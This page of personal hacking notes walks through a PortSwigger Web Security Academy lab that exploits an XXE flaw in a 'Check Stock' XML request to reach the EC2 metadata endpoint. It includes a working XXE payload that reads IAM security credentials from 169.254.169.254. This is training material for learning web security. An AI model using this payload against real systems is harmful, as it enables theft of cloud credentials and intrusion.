> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/xxe-to-perform-ssrf-attacks.md).

# XXE to Perform SSRF Attacks

XXE to Perform SSRF Attacks notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting XXE to Perform SSRF Attacks

Exploit an XXE vulnerability in the **"Check Stock"** feature that accepts XML, causing an SSRF request to the EC2 metadata endpoint (`HTTP://169.254.169.254/`) and recovering the secret IAM key from the server.

The lab server simulates an EC2 metadata endpoint accessible to the default `HTTP://169.254.169.254/` address. By injecting an external entity into the XML sent to the vulnerable parser, the server can be forced to read the internal URL and return its content in the response.

#### Start XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### Payload XXE Used to Perform SSRF

Reporting from an external entity pointing to the IAM metadata endpoint and then including that entity in the reflected field (`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7237ab3bb1918399674a34bcb7788532ad1095f8%2F%7B79E922E8-7ACF-4E42-B7DC-AC47AA55193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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